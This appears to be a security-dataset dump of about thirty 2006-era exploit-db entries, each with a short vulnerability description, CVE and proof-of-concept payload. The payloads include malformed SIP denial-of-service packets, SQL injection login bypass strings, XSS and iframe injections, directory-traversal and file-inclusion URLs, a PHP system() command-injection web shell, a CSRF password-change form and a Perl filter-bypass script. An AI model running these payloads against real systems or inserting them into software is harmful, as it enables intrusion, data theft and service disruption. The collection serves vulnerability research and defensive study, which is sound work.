QLWD/code_shield huggingface dataset:
标题: eStara SoftPhone 3.0.1 SIP Packet - Multiple Malformed Field Denial of Service Vulnerabilities EDB-ID: 27211 CVE: 2006-0737 类型: DOS 平台: MULTIPLE 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16629/info
 
eStara Smartphone is prone to multiple denial-of-service vulnerabilities when processing malformed VOIP headers. Successful exploitation will cause the device to crash.

For the negative 'Expires' field issue:

OPTIONS sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3334;branch=z9hG4bK00001793z9hG4bK.00001FDB
From: 1793 <sip:a@127.0.0.1>;tag=1793
To: zwell <sip:a@127.0.0.1>
Call-ID: 1407@172.16.3.6
CSeq: 5185 OPTIONS
Expires: -127

For the 'Content-Length' field issue:

INVITE sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00002386z9hG4bK.0000234E
From: 2386 <sip:a@127.0.0.1>;tag=2386
To: zwell <sip:a@127.0.0.1>
Call-ID: 31442@172.16.3.6
CSeq: 4896 INVITE
Content-Type: application/sdp
Content-Length: 1111111111

v=0
o=2386 2386 2386 IN IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000 URL: https://www.exploit-db.com/exploits/27211
标题: dotProject 2.0 - '/modules/projects/gantt2.php?dPconfig[root_dir]' Remote File Inclusion EDB-ID: 27220 CVE: 2006-0755 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16648/info
   
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com /modules/projects/gantt2.php?dPconfig[root_dir]=[REMOTE INCLUDE] URL: https://www.exploit-db.com/exploits/27220
标题: Siteframe Beaumont 5.0.1 - 'search.php?Q' Cross-Site Scripting EDB-ID: 27201 CVE: 2006-0675 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/16596/info

Siteframe Beaumont is prone to a cross-site scripting vulnerability. 

This issue affects the 'search.php' script.

Siteframe Beaumont 5.0.1 and prior versions are reportedly vulnerable.

http://www.example.com/search.php?q=[XSS] URL: https://www.exploit-db.com/exploits/27201
标题: Lawrence Osiris DB_eSession 1.0.2 - Class SQL Injection EDB-ID: 27202 CVE: 2006-0774 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/16598/info

DB_eSession is prone to an SQL-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

GET http://www.example.com/index.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=143263645564654563456345634563435%00' or 1=1/* URL: https://www.exploit-db.com/exploits/27202
标题: ImageVue 0.16.1 - 'index.php?bgcol' Cross-Site Scripting EDB-ID: 27199 CVE: 2006-0703 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16594/info
  
ImageVue is prone to multiple vulnerabilities, including unauthorized uploading of files with arbitrary extensions, authentication bypass, information disclosure, and content injection.
  
Successful exploitation could allow attackers to upload and possibly execute malicious files, gain access to restrict areas of the site, or inject hostile content into the site.

http://www.example.com/index.php?bgcol=[input] URL: https://www.exploit-db.com/exploits/27199
标题: LinPHA 0.9.x/1.0 - 'forth_stage_install.php' Local File Inclusion EDB-ID: 27195 CVE: 2006-0713 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16592/info
   
LinPHA is prone to multiple local file-inclusion and PHP code-injection vulnerabilities. The local file-inclusion issues are due to insecure use of the 'include_once()' PHP function in multiple scripts. The PHP code-injection vulnerabilities are due to insufficient input validation of data that is saved to log files.
   
This will permit an attacker to influence the include path to point to files that are hosted on the computer that is running the affected application. In this manner, files that are readable by the webserver process may be output to the attacker.
   
Attackers may also inject arbitrary PHP code into the log files and cause it to be interpreted. This would occur in the context of the server hosting the application.

The following HTTP POST example was provided for the file inclusion issues:

POST [path]install/forth_stage_install.php HTTP/1.1\r\n";
Host: [somehost]
Content-Type: application/x-www-form-urlencoded 
Content-Length: [data_length]
User-Agent: GameBoy, Powered by Nintendo
Connection: Close

language=/../../../../../../../../test URL: https://www.exploit-db.com/exploits/27195
标题: XMB Forum 1.8/1.9 - 'u2u.php?Username' Cross-Site Scripting EDB-ID: 27206 CVE: 2005-3544 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/16604/info

XMB Forum is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database. Other attacks are also possible.

http://www.example.com/u2u.php?action=send&username=%22%3E%3Ciframe%3E URL: https://www.exploit-db.com/exploits/27206
标题: ImageVue 0.16.1 - 'readfolder.php?path' Arbitrary Directory Listing EDB-ID: 27198 CVE: 2006-0701 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16594/info
 
ImageVue is prone to multiple vulnerabilities, including unauthorized uploading of files with arbitrary extensions, authentication bypass, information disclosure, and content injection.
 
Successful exploitation could allow attackers to upload and possibly execute malicious files, gain access to restrict areas of the site, or inject hostile content into the site.

http://www.example.com/readfolder.php?path=[path]&ext=[extension] URL: https://www.exploit-db.com/exploits/27198
标题: Fortinet Fortigate 2.x/3.0 - URL Filtering Bypass EDB-ID: 27203 CVE: 2005-3058 类型: REMOTE 平台: HARDWARE 发布日期: 2006-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/16599/info

Fortinet FortiGate is prone to a vulnerability that could allow users to bypass the device's URL filtering.

FortiGate devices running FortiOS v2.8MR10 and v3beta are vulnerable to this issue. Other versions may also be affected.

# http_req.pl
#
# Made by (Mathieu Dessus)
#
# Make a filter for /test* URL in the Fortigate and
# remove the # depending on which HTTP request you want to test

use IO::Socket;

$target = '1.2.3.4';

# Detected
$data = "GET /test HTTP/1.1\r
Host: $target\r
Pragma: no-cache\r
Accept: */*\r
\r
";
# Not detected
$data = "GET /test2 HTTP/1.1
Host: $target
Pragma: no-cache
Accept: */*

";

# Not detected
$data = "GET /test3 HTTP/1.0\r\n\r\n";
# Detected
#$data = "GET /test4 HTTP/1.0\r\nHost: $target\r\n\r\n";
# Detected :)
#$data = "GET //c/winnt/system32/cmd.exe?/c+dir HTTP/1.0\n\n";


my $sock = new IO::Socket::INET (
                                  PeerAddr => $target,
                                  PeerPort => '80',
                                  Proto => 'tcp',
                                 );
die "Could not create socket: $!\n" unless $sock;
print $sock $data;
read($sock, $ret, 600);
print($ret."\n");
close($sock); URL: https://www.exploit-db.com/exploits/27203
标题: LinPHA 0.9.x/1.0 - 'sec_stage_install.php' Local File Inclusion EDB-ID: 27194 CVE: 2006-0713 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16592/info
  
LinPHA is prone to multiple local file-inclusion and PHP code-injection vulnerabilities. The local file-inclusion issues are due to insecure use of the 'include_once()' PHP function in multiple scripts. The PHP code-injection vulnerabilities are due to insufficient input validation of data that is saved to log files.
  
This will permit an attacker to influence the include path to point to files that are hosted on the computer that is running the affected application. In this manner, files that are readable by the webserver process may be output to the attacker.
  
Attackers may also inject arbitrary PHP code into the log files and cause it to be interpreted. This would occur in the context of the server hosting the application.

http://www.example.com/[path]/install/sec_stage_install.php?whatlang=1&language=/../../../../../../../test
http://[target]/[path]/install/sec_stage_install.php?language=/../../../../../../../test URL: https://www.exploit-db.com/exploits/27194
标题: LinPHA 0.9.x/1.0 - 'install.php' Local File Inclusion EDB-ID: 27193 CVE: 2006-0713 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16592/info
 
LinPHA is prone to multiple local file-inclusion and PHP code-injection vulnerabilities. The local file-inclusion issues are due to insecure use of the 'include_once()' PHP function in multiple scripts. The PHP code-injection vulnerabilities are due to insufficient input validation of data that is saved to log files.
 
This will permit an attacker to influence the include path to point to files that are hosted on the computer that is running the affected application. In this manner, files that are readable by the webserver process may be output to the attacker.
 
Attackers may also inject arbitrary PHP code into the log files and cause it to be interpreted. This would occur in the context of the server hosting the application.

http://www.example.com/[path]/install/install.php?language=/../../../../../../../test URL: https://www.exploit-db.com/exploits/27193
标题: ImageVue 0.16.1 - 'upload.php' Unrestricted Arbitrary File Upload EDB-ID: 27200 CVE: 2006-0702 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16594/info
   
ImageVue is prone to multiple vulnerabilities, including unauthorized uploading of files with arbitrary extensions, authentication bypass, information disclosure, and content injection.
   
Successful exploitation could allow attackers to upload and possibly execute malicious files, gain access to restrict areas of the site, or inject hostile content into the site.

http://www.example.com/admin/upload.php?path=../[foldername]
Now you're ready to upload any file. URL: https://www.exploit-db.com/exploits/27200
标题: IBM Tivoli Directory Server 6.0 - LDAP Memory Corruption EDB-ID: 27196 CVE: 2006-0717 类型: DOS 平台: MULTIPLE 发布日期: 2006-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16593/info

IBM Tivoli Directory Server is prone to an unspecified memory corruption. This issue may be triggered by malformed LDAP data.

The exact impact of this vulnerability is not known at this time. Although the issue is known to crash the server, the possibility of remote code execution is unconfirmed.

The vulnerability was reported for version 6.0 on the Linux platform. Other versions or platforms are not known to be affected.

This vulnerability will be updated as further information is made available.

This issue can be reproduced by running the following command for the ProtoVer Sample LDAP testsuite:

./run.py localhost 389 2532 1 URL: https://www.exploit-db.com/exploits/27196
标题: Virtual Hosting Control System 2.2/2.4 - 'change_password.php' Current Password EDB-ID: 27204 CVE: 2006-0684 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/16600/info

Virtual Hosting Control System (VHCS) is prone to multiple input and access vulnerabilities.

VHCS is prone to an HTML-injection vulnerability and an authentication-bypass vulnerability. These issues could be exploited to gain administrative access to the application; other attacks are also possible.

</form><form name="dsr" method="post" action="ch%61nge_password.php"><input name="pass" value="hackme"><input name="pass_rep" value="hackme"><input name="uaction" value="updt_pass"></form><script>document.dsr.submit()</script> URL: https://www.exploit-db.com/exploits/27204
标题: ImageVue 0.16.1 - 'dir.php' Folder Permission Disclosure EDB-ID: 27197 CVE: 2006-0700 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16594/info

ImageVue is prone to multiple vulnerabilities, including unauthorized uploading of files with arbitrary extensions, authentication bypass, information disclosure, and content injection.

Successful exploitation could allow attackers to upload and possibly execute malicious files, gain access to restrict areas of the site, or inject hostile content into the site.

http://www.example.com/dir.php
An XML-document is shown containing all folders and their permissions. URL: https://www.exploit-db.com/exploits/27197
标题: LinPHA 0.9.x/1.0 - 'lang' Local File Inclusion EDB-ID: 27192 CVE: 2006-0713 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16592/info

LinPHA is prone to multiple local file-inclusion and PHP code-injection vulnerabilities. The local file-inclusion issues are due to insecure use of the 'include_once()' PHP function in multiple scripts. The PHP code-injection vulnerabilities are due to insufficient input validation of data that is saved to log files.

This will permit an attacker to influence the include path to point to files that are hosted on the computer that is running the affected application. In this manner, files that are readable by the webserver process may be output to the attacker.

Attackers may also inject arbitrary PHP code into the log files and cause it to be interpreted. This would occur in the context of the server hosting the application.

http://www.example.com/[host]/docs/index.php?lang=/../../../../../../../../../../test URL: https://www.exploit-db.com/exploits/27192
标题: IBM Lotus Domino 6.x/7.0 - iNotes JavaScript: Filter Bypass EDB-ID: 27181 CVE: 2006-0663 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/16577/info

IBM Lotus Domino iNotes is prone to multiple HTML- and script-injection vulnerabilities.

These vulnerabilities can allow attackers to carry out a variety of attacks, including theft of cookie-based authentication credentials. 

A proof of concept example for the issue exploited through a 'javascript:' URI is available:

<a href="java&#13;script:alert('Vulnerable!');">Link</a> URL: https://www.exploit-db.com/exploits/27181
标题: IBM Lotus Domino 6.x/7.0 iNotes - Email Subject Cross-Site Scripting EDB-ID: 27182 CVE: 2006-0663 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/16577/info
 
IBM Lotus Domino iNotes is prone to multiple HTML- and script-injection vulnerabilities.
 
These vulnerabilities can allow attackers to carry out a variety of attacks, including theft of cookie-based authentication credentials. 

Proof of concept for the email subject field script injection:

</TITLE><SCRIPT>alert("Vulnerable!");</SCRIPT> URL: https://www.exploit-db.com/exploits/27182
标题: HiveMail 1.2.2/1.3 - 'addressbook.update.php?contactgroupid' Arbitrary PHP Command Execution EDB-ID: 27184 CVE: 2006-0757 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16591/info

HiveMail is prone to multiple vulnerabilities. These vulnerabilities may allow the execution of arbitrary PHP code, cross-site scripting attacks, and SQL injection.

The PHP code-execution issues are the result of an input-validation error that may allow user-supplied PHP code to be evaluated by the interpreter.

The cross-site scripting vulnerabilities may permit a remote attacker to steal cookie-based authentication credentials from legitimate users.

The SQL-injection issues are the result of the application's failure to properly sanitize user-supplied input that will be included in SQL queries. Successful exploitation of SQL-injection vulnerabilities could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http:///www.example.com/addressbook.update.phpcmd=remove&contactgroupid=1%20--%20");phpinfo();@ob_start("&submit=1&contactcheck[]=1&con
tactcheck[]=2 URL: https://www.exploit-db.com/exploits/27184
标题: HiveMail 1.2.2/1.3 - 'index.php' $_SERVER['PHP_SELF'] Cross-Site Scripting EDB-ID: 27186 CVE: 2006-0758 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16591/info
  
HiveMail is prone to multiple vulnerabilities. These vulnerabilities may allow the execution of arbitrary PHP code, cross-site scripting attacks, and SQL injection.
  
The PHP code-execution issues are the result of an input-validation error that may allow user-supplied PHP code to be evaluated by the interpreter.
  
The cross-site scripting vulnerabilities may permit a remote attacker to steal cookie-based authentication credentials from legitimate users.
  
The SQL-injection issues are the result of the application's failure to properly sanitize user-supplied input that will be included in SQL queries. Successful exploitation of SQL-injection vulnerabilities could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E URL: https://www.exploit-db.com/exploits/27186
标题: Farsinews 2.1/2.5 - 'show_archives.php?template' Traversal Arbitrary File Access EDB-ID: 27183 CVE: 2006-0660 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/16580/info

FarsiNews is prone to directory-traversal and local file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit the directory-traversal vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process.

The local file-include vulnerability lets the attacker include arbitrary local files. The impact of this issue depends on the content of the files included. If an attacker can place a malicious script on the vulnerable computer (either through legitimate means or through other latent vulnerabilities), then the attacker may be able to execute arbitrary code in the context of the webserver process. The attacker may also be able to use existing scripts to perform some malicious activity.

http://www.example.com/show_archives.php?template=/../../[local-file]%00 URL: https://www.exploit-db.com/exploits/27183
标题: HiveMail 1.2.2/1.3 - 'folders.update.php?folderid' Arbitrary PHP Command Execution EDB-ID: 27185 CVE: 2006-0757 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/16591/info
 
HiveMail is prone to multiple vulnerabilities. These vulnerabilities may allow the execution of arbitrary PHP code, cross-site scripting attacks, and SQL injection.
 
The PHP code-execution issues are the result of an input-validation error that may allow user-supplied PHP code to be evaluated by the interpreter.
 
The cross-site scripting vulnerabilities may permit a remote attacker to steal cookie-based authentication credentials from legitimate users.
 
The SQL-injection issues are the result of the application's failure to properly sanitize user-supplied input that will be included in SQL queries. Successful exploitation of SQL-injection vulnerabilities could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/folders.update.php?cmd=mark&folderid=0%20--%20%22);phpinfo();@ob_start(%22 URL: https://www.exploit-db.com/exploits/27185
标题: Webeveyn Whomp! Real Estate Manager 2005 - Login SQL Injection EDB-ID: 27169 CVE: 2006-0624 类型: WEBAPPS 平台: ASP 发布日期: 2006-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/16544/info

Whomp! Real Estate Manager is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

Code For Admin Login :

Username : ' or ''='
Password: ' or ''=' URL: https://www.exploit-db.com/exploits/27169
标题: SPIP 1.8.2 - 'Spip_RSS.php' Remote Command Execution EDB-ID: 27172 CVE: 2006-0625 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/16556/info

SPIP is prone to a remote command-execution vulnerability. This is due to a lack of proper sanitization of user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP commands on an affected computer with the privileges of the webserver process.

Successful exploitation could facilitate unauthorized access; other attacks are also possible.

Version 1.8.2g and earlier are vulnerable; other versions may also be affected.

http://www.example.com/spip_rss.php?GLOBALS[type_urls]=/../ecrire/data/spip.log%00

http://www.example.com/spip_acces_doc.php3?id_document=0&file=<?system($_GET[cmd]);?>
http://www.example.com/spip_rss.php?cmd=ls%20-la&GLOBALS[type_urls]=/../ecrire/data/spip.log%00 URL: https://www.exploit-db.com/exploits/27172
标题: Beehive Forum 0.6.2 - 'index.php' SQL Injection EDB-ID: 27165 CVE: 2005-4461 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16521/info

Beehive Forum is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation can allow an attacker to bypass authentication and gain administrative access to a site. Other attacks may also be possible.

Beehive Forum 0.6.2 is reported to be vulnerable. 

http://www.example.com/beehive/index.php?user_sess=k
http://www.example.com/beehive/index.php?user_sess=1+MYFORUM URL: https://www.exploit-db.com/exploits/27165
标题: Sun ONE Directory Server 5.2 - Remote Denial of Service EDB-ID: 27171 CVE: 2006-0647 类型: DOS 平台: MULTIPLE 发布日期: 2006-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/16550/info

Sun ONE Directory Server is prone to a remote denial-of-service vulnerability. This issue is due to the application's failure to handle malformed network traffic.

This issue allows remote attackers to crash the application, denying service to legitimate users. 

Sample Python code has been provided by Evgeny Legerov that may demonstrate this issue:

from socket import * URL: https://www.exploit-db.com/exploits/27171
标题: CPAINT 1.3/2.0.2 - 'TYPE.php' Cross-Site Scripting EDB-ID: 27173 CVE: 2006-0650 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/16559/info

CPAINT is prone to a cross-site scripting vulnerability.

This issue affects the 'type.php' script and may facilitate the theft of cookie-based authentication credentials as well as other attacks.


CPAINT 2.0.2 and prior versions are affected.

http://www.example.com/examples/type/type.php?cpaint_response_type=%3Ciframe%20src=http://www.gulftech.org/%3E URL: https://www.exploit-db.com/exploits/27173